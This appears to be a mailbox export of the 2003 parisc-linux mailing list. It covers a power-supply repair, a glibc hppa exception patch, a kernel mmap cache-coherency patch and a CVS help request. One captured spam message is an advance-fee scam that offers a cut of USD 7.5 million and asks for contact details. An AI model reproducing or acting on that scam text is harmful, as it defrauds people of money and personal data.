>>>Alex
>>>
>>>On Thu, Aug 07, 2003 at 11:58:36PM +0200, Christoph Plattner wrote:
>>>
>>>
>>>>Hello HP Hackers !
>>>>
>>>>I have a work around for the POWER SUPPLY Problem.
>>>>
>>>>Using schematics and analysing this very very hard thing,
>>>>I found out, that the problem we all have was created
>>>>by an exploded capacitor.
>>>>
>>>>The thing running out of the capacitor mixed with the dust
>>>>in the machine generates an resistor on the PCB board.
>>>>
>>>>On the low voltage end of the power supply (near front),
>>>>ther is a small SIM-like module which does the supervision of
>>>>all volatage lines (plus over current protection) and which
>>>>generates the reset impuls.
>>>>
>>>>Now to the problem. The line coming from the current measure
>>>>transformer is the neighbour line of the -12V line. Because
>>>>of the electrical resistor because of the dust, etc, the
>>>>negative voltage comes to the current supervision line, and
>>>>therefore one supervision comperator does a wrong failure
>>>>reaction !
>>>>
>>>>Workaround:
>>>>
>>>>- step 1 -
>>>>Try to clean the space on the PCB around this supervison module.
>>>>(I soldered it out for cleaning, a resoldered it in)..
>>>>
>>>>- step 2 -
>>>>This helps. But after weeks the problem returned again ....
>>>>I soldered in a resistor between the +Vaux (about 12..16V)
>>>>and this current measure line to compensate this negativ
>>>>voltage of the -12V line.
>>>>This is no relevant impact to the over-current protection,
>>>>as the resistor has a high value against the measurement
>>>>output.
>>>>
>>>>This worked for me.
>>>>If you need help on this, please contact me ...
>>>>
>>>>Christoph
>>>>
>>>>
>>>>
>>>>
>>>>-- 
>>>>-------------------------------------------------------
>>>>private:	christoph.plattner@gmx.at
>>>>company:	christoph.plattner@alcatel.at
>>>>
>>>
>>>
>>
>>
>>-- 
>>-------------------------------------------------------
>>private:	christoph.plattner@gmx.at
>>company:	christoph.plattner@alcatel.at
>>
> 
> 



-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at


--------------070102000107000003020209--



From - Thu Nov 08 21:28:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [glibc] fixing delayed exceptions in hppa
Date: Thu, 21 Aug 2003 21:39:31 -0400
Lines: 82
Approved: news@gmane.org
Message-ID: <20030822013931.GD31872@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622702 29812 80.91.229.3 (22 Nov 2014 02:18:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:22 +0000 (UTC)
Cc: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 21 19:40:04 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id A683F4840
	for <parisc-linux@lists.parisc-linux.org>; Thu, 21 Aug 2003 19:40:04 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 19q0tn-0000G0-00; Thu, 21 Aug 2003 21:39:31 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (68% Sync Ratio [=======...])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19271

parisc-linux,

Just a quick RFC on this patch. I've generated a register interlock on
the previous exception raising result register. This _should_ cause delayed
exceptions to be flushed immediately on all processors.

Under my C3K testsetup it fixes the test-fenv failure that was
specifically related to "child raises exception, exception comes in late
and kills parent after child called join."

Comments more than welcome, I'll be submitting this upstream if nobody
has any quibles with my gcc asm :)

c.

--- libc/sysdeps/hppa/fpu/fraiseexcpt.c	10 Sep 2002 01:26:37 -0000	1.4
+++ libc/sysdeps/hppa/fpu/fraiseexcpt.c	19 Aug 2003 18:52:33 -0000
@@ -25,6 +25,8 @@
 int
 feraiseexcept (int excepts)
 {
+  /* Used in the trap barrier */
+	double dummy;
   /* Raise exceptions represented by EXCEPTS.  But we must raise only one
      signal at a time.  It is important that if the overflow/underflow
      exception and the divide by zero exception are given at the same
@@ -42,17 +44,17 @@ feraiseexcept (int excepts)
     {
       /* One example of a invalid operation is 0 * Infinity.  */
       double d = HUGE_VAL;
-      __asm__ __volatile__ ("fmpy,dbl %1,%%fr0,%0\n\t"
+      __asm__ __volatile__ ("fmpy,dbl %2,%%fr0,%0\n\t"
 			    /* FIXME: is this a proper trap barrier? */
-			    "fcpy,dbl %%fr0,%%fr0" : "=f" (d) : "0" (d));
+			    "fcpy,dbl %0,%1" : "=f" (d), "=f" (dummy) : "0" (d));
     }
 
   /* Next: division by zero.  */
   if (excepts & FE_DIVBYZERO)
     {
       double d = 1.0;
-      __asm__ __volatile__ ("fdiv,dbl %1,%%fr0,%0\n\t"
-			    "fcpy,dbl %%fr0,%%fr0" : "=f" (d) : "0" (d));
+      __asm__ __volatile__ ("fdiv,dbl %2,%%fr0,%0\n\t"
+			    "fcpy,dbl %2,%1" : "=f" (d), "=f" (dummy) : "0" (d));
     }
 
   /* Next: overflow.  */
@@ -61,8 +63,8 @@ feraiseexcept (int excepts)
     {
       double d = DBL_MAX;
 
-      __asm__ __volatile__ ("fmpy,dbl %1,%1,%0\n\t"
-			    "fcpy,dbl %%fr0,%%fr0" : "=f" (d) : "0" (d));
+      __asm__ __volatile__ ("fmpy,dbl %2,%2,%0\n\t"
+			    "fcpy,dbl %2,%1" : "=f" (d), "=f" (dummy) : "0" (d));
     }
 
   /* Next: underflow.  */
@@ -71,8 +73,8 @@ feraiseexcept (int excepts)
       double d = DBL_MIN;
       double e = 69.69;
 
-      __asm__ __volatile__ ("fdiv,dbl %1,%2,%0\n\t"
-			    "fcpy,dbl %%fr0,%%fr0" : "=f" (d) : "0" (d), "f" (e));
+      __asm__ __volatile__ ("fdiv,dbl %2,%3,%0\n\t"
+			    "fcpy,dbl %2,%1" : "=f" (d), "=f" (dummy) : "0" (d), "f" (e));
     }
 
   /* Last: inexact.  */
@@ -81,8 +83,8 @@ feraiseexcept (int excepts)
       double d = 1.0;
       double e = M_PI;
 
-      __asm__ __volatile__ ("fdiv,dbl %1,%2,%0\n\t"
-			    "fcpy,dbl %%fr0,%%fr0" : "=f" (d) : "0" (d), "f" (e));
+      __asm__ __volatile__ ("fdiv,dbl %2,%3,%0\n\t"
+			    "fcpy,dbl %2,%1" : "=f" (d), "=f" (dummy) : "0" (d), "f" (e));
     }
 
   /* Success.  */


From - Thu Nov 08 21:28:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [glibc] fixing delayed exceptions in hppa
Date: Fri, 22 Aug 2003 03:42:59 +0100
Lines: 40
Approved: news@gmane.org
Message-ID: <20030822024259.GC18834@parcelfarce.linux.theplanet.co.uk>
References: <20030822013931.GD31872@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622702 29816 80.91.229.3 (22 Nov 2014 02:18:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
	John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 21 20:43:03 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 32BAD4844
	for <parisc-linux@lists.parisc-linux.org>; Thu, 21 Aug 2003 20:43:03 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 19q1tD-0001Dj-NO; Fri, 22 Aug 2003 03:42:59 +0100
Content-Disposition: inline
In-Reply-To: <20030822013931.GD31872@systemhalted>
User-Agent: Mutt/1.4.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19272

On Thu, Aug 21, 2003 at 09:39:31PM -0400, Carlos O'Donell wrote:
> Just a quick RFC on this patch. I've generated a register interlock on
> the previous exception raising result register. This _should_ cause delayed
> exceptions to be flushed immediately on all processors.
> 
> Under my C3K testsetup it fixes the test-fenv failure that was
> specifically related to "child raises exception, exception comes in late
> and kills parent after child called join."

Yay.

> Comments more than welcome, I'll be submitting this upstream if nobody
> has any quibles with my gcc asm :)

I can quibble!

>        /* One example of a invalid operation is 0 * Infinity.  */
>        double d = HUGE_VAL;
> -      __asm__ __volatile__ ("fmpy,dbl %1,%%fr0,%0\n\t"
> +      __asm__ __volatile__ ("fmpy,dbl %2,%%fr0,%0\n\t"
>  			    /* FIXME: is this a proper trap barrier? */
> -			    "fcpy,dbl %%fr0,%%fr0" : "=f" (d) : "0" (d));
> +			    "fcpy,dbl %0,%1" : "=f" (d), "=f" (dummy) : "0" (d));
>      }

Surely this, and all the others, would be clearer written as:

	__asm__ __volatile__ (
		"	fmpy,dbl %0,%%fr0,%0\n"
		"	fcpy,dbl %0,%1\n"
		: "+f" (d), "=f" (dummy));

ie turn the \t into a literal tab, and use the "+" syntax rather than the
"=" and "0" syntax.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:28:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly3.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [glibc] fixing delayed exceptions in hppa
Date: Thu, 21 Aug 2003 23:04:44 -0400 (EDT)
Lines: 7
Approved: news@gmane.org
Message-ID: <200308220304.XAA11565@hiauly3.hia.nrc.ca>
References: <20030822013931.GD31872@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622703 29818 80.91.229.3 (22 Nov 2014 02:18:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, dave.anglin@nrc-cnrc.gc.ca
To: carlos@baldric.uwo.ca
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug 21 21:04:46 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly3.hia.nrc.ca (hiauly3.hia.nrc.ca [132.246.100.195])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9C8804863
	for <parisc-linux@lists.parisc-linux.org>; Thu, 21 Aug 2003 21:04:45 -0600 (MDT)
Original-Received: (from dave@localhost)
	by hiauly3.hia.nrc.ca (8.9.3 (PHNE_26305+JAGae58098)/8.9.3) id XAA11565;
	Thu, 21 Aug 2003 23:04:44 -0400 (EDT)
In-Reply-To: <20030822013931.GD31872@systemhalted> from Carlos O'Donell at Aug "21," 2003 "09:39:31" pm
X-Mailer: ELM []
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19273

> Comments more than welcome, I'll be submitting this upstream if nobody
> has any quibles with my gcc asm :)

See <http://lists.parisc-linux.org/hypermail/parisc-linux/10549.html>.

Dave


From - Thu Nov 08 21:28:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: PETE NDLOVU <petendlovu@netscape.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HELP ME
Date: Fri, 22 Aug 2003 16:27:43 +0200
Lines: 47
Approved: news@gmane.org
Message-ID: <20030822142908.F1A91484E@dsl2.external.hp.com>
Reply-To: petendlovu@netscape.net
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="9372fd29-284b-4240-ab71-ef5518d90a3a"
X-Trace: ger.gmane.org 1416622703 29820 80.91.229.3 (22 Nov 2014 02:18:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:23 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 22 08:29:11 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from netscape1804.com (unknown [62.166.232.230])
	by dsl2.external.hp.com (Postfix) with SMTP id F1A91484E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Aug 2003 08:29:07 -0600 (MDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19274

This is a multi-part message in MIME format
--9372fd29-284b-4240-ab71-ef5518d90a3a
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable

Dear Sir,
Difficulties encountered in efforts to establish a business abroad 
necessitate
this search for someone to assist me in securing and investing the sum of
USD7.5 Million (Seven  million five hundred thousand  dollars)inherited from =
my father's 
business
reserve.
I am the heir of a Zimbabwean family; my father was an agriculturist. He 
became
rich from his old-aged investment in agriculture and later was victimized by
President Robert Mugabe's land reform policy. He was assassinated by unknown
gunmen for defending his land ownership and siding the minority white 
farmers.
Before his death, my father foresaw the insecurity of both our lives and
property then decided to deposit the above sum with a private finance and
security firm in Europe. This money has become the only inherited property 
of
our family since our home was burnt,and the farmlands and machines seized; 
yet
the government and it's loyalists are bent on making life difficult for us.
To summarise this traumatic story, my mother and I have decided to offer 15% 
=

of
the above sum to anyone who assists us to secure this funds overseas or 25%
share for possible help on investing in any reliable venture.
There are however some minimal cost involved in securing the release of this
deposit from the present holding company.i do not intend to overburden you 
with
these cost.but you must know beforehand that we will be sharing whatever 
cost
involved in retrieving this deposit and putting it to beneficial use.
if you would want to proceed under these terms,please reply for detailed
information. if you do not accept my offer,please in good fate treat with 
utmost
confidentiality . A quick reply with your name,telephone and fax numbers to
for more confidential communication will be highly appreciated.
Sincerely yours,
Pete Ndlovu  
--9372fd29-284b-4240-ab71-ef5518d90a3a--



From - Thu Nov 08 21:28:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problems with kernel mmap (failing tst-mmap-eofsync in glibc on
 parisc)
Date: 22 Aug 2003 09:40:37 -0500
Lines: 57
Approved: news@gmane.org
Message-ID: <1061563239.2090.25.camel__27754.1251075037$1416622703$gmane$org@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="=-lmHKO1hPltD8R1GkCOtr"
X-Trace: ger.gmane.org 1416622703 29823 80.91.229.3 (22 Nov 2014 02:18:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:23 +0000 (UTC)
Cc: davem@redhat.com, drepper@redhat.com
To: Linux Kernel <linux-kernel@vger.kernel.org>,
	PARISC list <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 22 08:40:41 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (nat9.steeleye.com [65.114.3.137])
	by dsl2.external.hp.com (Postfix) with ESMTP id 53028485C
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Aug 2003 08:40:41 -0600 (MDT)
Original-Received: from mulgrave-w.il.steeleye.com (il-ppp.sc.steeleye.com [172.17.6.240])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id h7MEecI28096;
	Fri, 22 Aug 2003 10:40:38 -0400
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19275

--=-lmHKO1hPltD8R1GkCOtr
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

This test essentially opens a file (via open(2)), writes something,
opens it via a mmaped file object *read only* (via fopen(...,"rm)) reads
what was writtent, writes some more and reads it via the mmaped file
object.

This last read fails to get the data on parisc.  The problem is that our
CPU cache is virtually indexed, and the page the write is storing the
data to (in the buffer cache) and the page it is mmapped to have the
same physical, but different virtual addresses.  We need the write() to
trigger a cache update via flush_dcache_page to get the virtually
indexed cache in sync.

The reason this doesn't happen is because the mapping is not on the
mmap_shared list that flush_dcache_page() updates.

And the reason it's not on the correct list is because there's a check
in mm/mmap.c:do_mmap_pgoff() that drops the VM_SHARED flag on the
mapping if the file wasn't opened for writing (about line 541).

Semantically, it seems that whether the mmaping sees a write or not on a
different descriptor shouldn't depend on whether the underlying file was
opened read only or read write, so I think the glibc test is correct,
and we should keep the VM_SHARED flag even if the underlying file was
opened read only.

The patch is attached (and makes the test pass on parisc).

Comments?

James


--=-lmHKO1hPltD8R1GkCOtr
Content-Disposition: attachment; filename=tmp.diff
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; name=tmp.diff; charset=ISO-8859-1

=3D=3D=3D=3D=3D mm/mmap.c 1.89 vs edited =3D=3D=3D=3D=3D
--- 1.89/mm/mmap.c	Thu Jul 10 21:46:52 2003
+++ edited/mm/mmap.c	Fri Aug 22 09:36:32 2003
@@ -539,7 +539,7 @@
=20
 			vm_flags |=3D VM_SHARED | VM_MAYSHARE;
 			if (!(file->f_mode & FMODE_WRITE))
-				vm_flags &=3D ~(VM_MAYWRITE | VM_SHARED);
+				vm_flags &=3D ~VM_MAYWRITE;
=20
 			/* fall through */
 		case MAP_PRIVATE:

--=-lmHKO1hPltD8R1GkCOtr--



From - Thu Nov 08 21:28:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [glibc] fixing delayed exceptions in hppa
Date: Fri, 22 Aug 2003 10:46:15 -0400
Lines: 13
Approved: news@gmane.org
Message-ID: <20030822144615.GF31872@systemhalted>
References: <20030822013931.GD31872@systemhalted> <200308220304.XAA11565@hiauly3.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622704 29827 80.91.229.3 (22 Nov 2014 02:18:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, dave.anglin@nrc-cnrc.gc.ca
To: John David Anglin <dave@hiauly3.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 22 08:47:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 207F3486B
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Aug 2003 08:47:16 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 19qDB9-0004mA-00; Fri, 22 Aug 2003 10:46:15 -0400
Content-Disposition: inline
In-Reply-To: <200308220304.XAA11565@hiauly3.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (68% Sync Ratio [=======...])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19276

On Thu, Aug 21, 2003 at 11:04:44PM -0400, John David Anglin wrote:
> > Comments more than welcome, I'll be submitting this upstream if nobody
> > has any quibles with my gcc asm :)
> 
> See <http://lists.parisc-linux.org/hypermail/parisc-linux/10549.html>.

I took this into account, and the fcpy of a non fr0 is working better
than before precisely for the reasons you list your original email.

Should I instead spill the value into memory at dummy's address?

c.


From - Thu Nov 08 21:28:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: palo
Date: Fri, 22 Aug 2003 10:08:20 -0600
Lines: 64
Approved: news@gmane.org
Message-ID: <20030822160820.GA18112@ldl.fc.hp.com>
References: <1245099799.20030822174107@tatneft.ru>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622704 29828 80.91.229.3 (22 Nov 2014 02:18:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: ??????? ??????? <almetoil@tatneft.ru>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 22 10:08:22 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel9.hp.com (atlrel9.hp.com [156.153.255.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7C00E487E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Aug 2003 10:08:22 -0600 (MDT)
Original-Received: from smtp1.fc.hp.com (smtp1.fc.hp.com [15.15.136.127])
	by atlrel9.hp.com (Postfix) with ESMTP
	id 3B5631C005CB; Fri, 22 Aug 2003 12:08:22 -0400 (EDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.11.146.30])
	by smtp1.fc.hp.com (Postfix) with ESMTP
	id 78FDC38745; Fri, 22 Aug 2003 10:08:21 -0600 (MDT)
Original-Received: from debian (krebs.dannf [10.8.0.7])
	by ldl.fc.hp.com (Postfix) with ESMTP
	id DBD0A1340D1; Fri, 22 Aug 2003 10:08:20 -0600 (MDT)
Original-Received: by debian (Postfix, from userid 20800)
	id A5A103963D2; Fri, 22 Aug 2003 10:08:20 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1245099799.20030822174107@tatneft.ru>
User-Agent: Mutt/1.5.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19277

you have e-mailed the admin of the cvs list, which is part of the old bug
tracking system.
i've cc'd the parisc-linux list, which is probably the best place to ask.

On Fri, Aug 22, 2003 at 05:41:07PM +0400, ??????? ??????? wrote:
> ???????????? ?????????, cvs-admin.
> 
>   Please help me cvs download palo !
>   Please sorry my english
> 
>   I am use this and read error messges:
>     user@panda:~/palo$ cvs -d :pserver:guest@cvs.parisc-linux.org:/ checkout palo
>     cvs checkout: warning: failed to open /home/user/.cvspass for reading: No such file or directory
>     /: no such repository
>     user@panda:~/palo$ cvs -d :pserver:guest@cvs.parisc-linux.org:/cvs checkout palo
>     cvs checkout: warning: failed to open /home/user/.cvspass for reading: No such file or directory
>     /cvs: no such repository
>     user@panda:~/palo$ cvs -d :pserver:guest@cvs.parisc-linux.org:/Developmetn checkout palo
>     cvs checkout: warning: failed to open /home/user/.cvspass for reading: No such file or directory
>     /Developmetn: no such repository
>     user@panda:~/palo$ cvs -d :pserver:guest@parisc-linux.org:/cvs checkout palo
